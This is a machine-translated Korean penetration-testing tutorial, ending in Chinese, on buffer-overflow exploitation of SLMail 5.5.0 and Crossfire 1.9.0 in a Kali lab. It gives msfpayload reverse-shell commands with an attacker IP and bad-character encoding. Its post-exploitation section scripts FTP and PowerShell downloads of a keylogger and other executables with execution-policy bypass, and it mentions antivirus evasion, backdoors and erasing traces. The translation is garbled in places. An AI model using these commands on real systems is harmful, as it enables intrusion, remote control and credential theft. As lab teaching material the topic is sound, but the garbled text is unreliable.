노트 내용은 Security Niu 강의실 Mr. Yuan Fanghong의 KaliLinux 침투 테스트 튜토리얼을 참조하세요
모든 취약점의 핵심은 데이터 입력에서 비롯됩니다. 버퍼 오버플로의 원리는 데이터와 코드 사이의 경계가 모호해지면 버퍼의 경계 제한이 엄격하지 않으면 버퍼가 "폭발"됩니다. 잘못된 데이터를 전달하는 변수나 프로그램 실행 오류를 "Exploit"하여 인접한 비디오 메모리 영역의 데이터를 덮어쓰고 비디오 메모리 데이터를 성공적으로 변경하여 프로세스 납치, 악성 코드 실행 및 서버 제어권을 획득할 수 있습니다.
버퍼 오버플로의 원리를 더 잘 이해하려면 저자가 재인쇄한 기사를 참조하세요.
스택 오버플로에 대해 시작부터 포기까지 단계별로 가르쳐주세요(1부)
스택 오버플로 사용 방법을 시작부터 포기까지 단계별로 가르쳐드립니다(2부)
기사 디렉토리
1. 취약점 발견 방법 (1) 소스코드 감사
소프트웨어 개발자는 사회 공학 및 기타 방법을 사용하여 검토 및 디버깅을 위한 소스 코드를 얻을 수 있습니다. 조건이 엄격하여 소스 코드를 일반적으로 사용할 수 없습니다.
(2) 리버스 엔지니어링
분석을 위한 어셈블리 소스 코드를 얻으려면 리버스 엔지니어링을 사용하세요. 어셈블리 코드 분석은 작업량이 많고 어렵습니다.
(3) 퍼징
대상 시스템에 예상치 못한 입력을 제공하고 비정상적인 결과를 모니터링하여 소프트웨어 취약점을 발견하는 방법입니다. 일반적으로 이는 유효한 입력을 사용하고 임의의 편차를 추가하여 수행되며, 이를 위해서는 소프트웨어 디버깅 도구(예: ImmunityDebugger)를 사용해야 합니다. .
2. 퍼즈 테스트 과정
퍼즈 테스트 과정에서는 이 보호 메커니즘을 피해야 하기 때문에 먼저 버퍼 오버플로에 대한 몇 가지 보안 보호 기술을 이해해야 합니다.
(1) 윈도우
테스트 소프트웨어는 'SLMail5.5.0MailServer'이며 PASS 명령에 버퍼 오버플로 취약점이 있습니다. 기본 아이디어: (ImmunityDebugger를 디버깅 도구로 사용)
1. Python 스크립트를 사용하여 PASS 명령이 대량의 데이터를 수신할 때 오버플로되는지 테스트합니다. 일반적으로 3000자 이후에 오버플로가 없으면 오버플로 취약점이 없어야 함을 의미합니다.
2. 오버플로 취약점을 발견한 후 EIP에 해당하는 주소를 확인합니다. 기본 방법은 바이너리 방법과 고유 문자열 방법입니다. 고유한 문자열 메서드는 Metasploit 스크립트 usr/share/metasploit-framework/tools/pattern_create.rb3000을 사용하여 생성할 수 있습니다.
3.EIP를 Shellcode에 해당하는 비디오 메모리 주소로 변경하고 해당 주소 공간에 Shellcode를 쓰면 프로그램이 EIP 레지스터 값을 읽고 Shellcode 코드 세그먼트로 점프하여 실행합니다.
4. 디버깅 도구를 통해 전송된 데이터가 EIP를 채운 후 ESP가 가리키는 공간을 채우는 것을 발견하여 ESP 위치에 Shellcode를 배치했습니다.
5. ESP 주소에서 스택 하단까지의 거리를 결정합니다. Linux 버퍼 오버플로 방지, 즉 쉘코드의 크기를 저장할 수 있습니다. Python 스크립트를 사용하여 테스트용 소프트웨어에 데이터를 보내고, 소프트웨어를 디버그하여 ESP가 가리키는 공간에 얼마나 많은 데이터가 저장되어 있는지 확인합니다. 현대 컴퓨터 시스템 프로세스의 비디오 메모리 공간에 대한 보기가 그림에 나와 있습니다.
그림 1 프로세스 메모리 공간 보기
6. ASLR 메커니즘으로 인해 소프트웨어가 실행될 때마다 함수 호출 스택의 주소가 무작위로 변경되므로 하드 코딩이 불가능합니다. 대안은 비디오 메모리에서 고정된 주소를 가진 시스템 모듈을 찾는 것입니다. 모듈에서 JMPESP 명령어의 주소 점프 그런 다음 이 명령어는 ESP로 직접 점프한 다음 mona.py 스크립트를 사용하여 JMPESP의 모듈인 "returnaddress"를 검색합니다. /usr /share/metasploit-framework/tools/nasm_shell.rb의 도움으로 DEP 및 ASLR 메커니즘으로 보호되지 않는 시스템 모듈을 찾으세요. 어셈블리 명령어 jmpesp를 FFE4의 2의 보수로 변환하고 FFE4를 검색하세요. 모듈!monafind-s "xffxe4"-mslmfc.dll의 명령어, 명령어 주소를 찾은 후 EIPlinux 버전 qq의 주소 채우기를 변환하고 쉘코드를 구성하고 잘못된 문자를 제거합니다: /msfpayloadwin32_reverseLHOST=192.168.20.8LPORT =443R|./msfencode-b“x00x0ax0d
참고: 쉘코드를 구성할 때 선택한 페이로드는 바인딩을 위한 직접 연결이 아닌 역방향 연결입니다. 이렇게 하면 방화벽의 차단 전략을 피할 수 있습니다.
7. 마지막으로 nc-vlp443 포트 탭을 활성화합니다. Shellcode가 실행된 후 ExitProcess 메서드를 사용하여 전체 프로세스를 종료합니다. 그러면 SMS 서비스가 중단됩니다. ExitThread 메서드를 적용하면 이를 방지할 수 있습니다. 전체 서비스가 충돌하지 않고 반복적인 오버플로가 발생합니다. /msfpayloadwin32_reverseLHOST=192.168.20.8EXITFUNC=threadLPORT=443R|./msfencode-b"x00x0ax0d"
참고: 다양한 유형의 프로그램, 프로토콜 및 취약점은 개별 문자를 잘못된 문자로 간주합니다. 이러한 문자는 용도가 고정되어 있으므로 반환 주소, 셸코드 또는 버퍼에 잘못된 문자가 나타날 수 없습니다. 0x00-0xff256 문자를 보내고 모든 잘못된 문자를 찾습니다. 잘못된 문자는 Metasploit 스크립트 ./msfencode를 사용하여 인코딩할 수 있습니다.
8. 공격 대상을 추가로 제어하려면 레지스트리를 변경하여 원격 데스크톱을 열 수 있습니다.
으아아아
(2)리눅스
테스트 소프트웨어는 'Crossfire'이며, 1.9.0에는 인바운드 소켓 연결을 허용할 때 버퍼 오버플로 취약점이 있습니다. 기본 아이디어는 Windows Fuzzing(edb가 디버깅 도구로 사용됨)과 동일하므로 다음 사항에 주의해야 합니다.
1. 디버깅 명령: edb--run/usr/games/crossfire/bin/crossfire2. 버퍼 오버플로를 확인해보니 페이로드가 4368바이트로 고정되어 있어야만 EIP의 값을 정확하게 커버할 수 있다는 사실을 발견했습니다. 이렇게 해서 ESP가 가리키는 공간은 7바이트밖에 되지 않아 충분하지 않습니다. 따라서 edb에서 검색하면 데이터로 완전히 덮힌 레지스터가 EAX를 찾을 수 있으므로 해결 방법으로 ESP는 EAX로 점프하여 Shellcode를 실행합니다.
3.EXP를 선택하고 변경하세요
오랫동안 공개된 다양한 소프트웨어 취약점에 대한 도움말 코드(EXP)가 인터넷에 있습니다. 신뢰할 수 있는 EXP 소스를 선택하고 이를 기반으로 연구나 변경을 수행할 수 있습니다. 특히 Shellcode는 쉽게 사용할 수 없습니다.
Linux 안티 버퍼 Overflow, 바이러스가 포함될 수 있는 Linux 시스템 애플리케이션의 경우 일반적으로 마스터해야 하는 프로그래밍 언어에는 Python, C, C++, Ruby 등이 있습니다. 신뢰할 수 있는 여러 EXP 소스:
EXP를 받은 후에는 다음 사항에 주의해야 합니다.4. 취약성 이후 단계
도구 업로드, 권한 상승, 공격 흔적 삭제, 사이드 도어 설치 등의 추가 작업을 포함합니다. 여기서는 파일 업로드 작업에 대해서만 설명합니다. 파일 업로드는 트로이 목마 사전 설치 및 사이드 도어 설치를 주로 기반으로 합니다. 획득한 대상 운영 체제의 셸에서 파일 업로드 작업을 수행합니다.
(一)Windows
首先须要了解,用nc侦听端口取得的shell是非交互shell,这样在一些须要交互的环境操作受限,例如tab难以手动补全、一些参数难以交互输入等,所以须要上传其他的远控程序,如灰肉鸽。这儿主要讨论怎样上传这种远控程序:
1.Linux端:配置ftp服务
登陆FTP有三种形式:
<span class="token function">apt-get</span> <span class="token function">install</span> vsftpd <span class="token comment">#Linux中ftp服务有很多,这里使用vsftpd</span> vim /etc/vsftpd/vsftpd.conf<span class="token comment">#配置vsftpd服务,这里采用系统用户登录的方式</span> <span class="token comment">#添加配置</span> local_root<span class="token operator">=</span>/home/ftpduser/ <span class="token comment">#系统用户登录后的主目录</span> <span class="token comment">#可以设置用户独立配置文件保存目录:user_config_dir=/etc/vsftpd/ftpduser_config/ </span> <span class="token comment">#对特定的用户ftpuser1可以单独进行配置,方法是在user_config_dir指定的目录下建立ftpuser1文件(和用户名相同的文件),然后在其中写上配置内容</span> chroot_local_user<span class="token operator">=</span>YES <span class="token comment">#该值为YES时,所有用户只能限制在其主目录下访问</span> chroot_list_enable<span class="token operator">=</span>NO<span class="token comment">#该值为YES时,其中的用户即为与chroot_list_file中相例外的用户;为NO时,没有例外的用户。</span> chroot_list_file<span class="token operator">=</span>/etc/vsftpd.chroot_list <span class="token comment">#如chroot_local_user=NO,chroot_list_enable=YES,此时所有用户都可以访问任何目录,而chroot_list_file中的用户只能访问其主目录</span> userlist_deny<span class="token operator">=</span>NO <span class="token comment">#该值为YES时,/etc/vsftpd/user_list文件中指定的用户不能访问FTP服务器;值为NO时,则仅允许指定的用户访问FTP服务器</span> userlist_enable<span class="token operator">=</span>YES<span class="token comment">#/etc/vsftpd/user_list文件有效</span> <span class="token keyword">echo</span> ftpduser1 <span class="token operator">>></span> /etc/vsftpd/user_list<span class="token comment">#这个文件禁止或允许使用vsftpd的用户列表文件</span> <span class="token comment">#!!注意user_list文件中的用户列表和ftpusers不同,ftpusers不受任何配制项的影响,它是一个黑名单,总是有效</span> <span class="token function">mkdir</span> /home/ftpduser <span class="token function">useradd</span> -d /home/ftpduser/ftpuser1 -s /sbin/nologin ftpduser1 <span class="token function">service</span> vsftpd start
2.Windows端:因为系统缺乏预装的下载工具,所以须要自行配置
(1)使用ftp传输文件
由于非交互shell未能登入ftp服务,所以编撰ftp配置脚本。
<span class="token function">echo</span> open 192<span class="token punctuation">.</span>168<span class="token punctuation">.</span>1<span class="token punctuation">.</span>2 21>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> ftpduser1>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> passw0rd>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> bin>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> GET whoami<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> GET klogger<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> bye>>ftp<span class="token punctuation">.</span>txt ftp <span class="token operator">-</span>s:ftp<span class="token punctuation">.</span>txt
(2)使用powershell传输文件
<span class="token function">echo</span> <span class="token variable">$storageDir</span> = <span class="token variable">$pwd</span> <span class="token variable">$webclient</span> = <span class="token function">New-Object</span> System<span class="token punctuation">.</span>Net<span class="token punctuation">.</span>WebClient <span class="token variable">$url</span> = <span class="token string">"http://192.168.1.2/whoami.exe"</span> <span class="token variable">$file</span> = <span class="token string">"new-exploit.exe"</span> <span class="token variable">$webclient</span><span class="token punctuation">.</span>DownloadFile<span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">.</span><span class="token variable">$file</span><span class="token punctuation">)</span> powershell<span class="token punctuation">.</span>exe <span class="token operator">-</span>ExecutionPolicy Bypass <span class="token operator">-</span>Nologo <span class="token operator">-</span>NonInteractive <span class="token operator">-</span>Noprofile <span class="token operator">-</span>File wget<span class="token punctuation">.</span>ps1
(二)Linux
借助netcat、curl、wget等系统自带的工具上传文件,比较容易实现,不再赘言。
注意:上传的文件要防止被目标系统杀毒软件去除,尽量使用合法的远程控制软件,如nc。
위 내용은 Linux 침투 테스트 튜토리얼: 시작부터 포기까지 스택 오버플로에 대해 단계별로 교육합니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!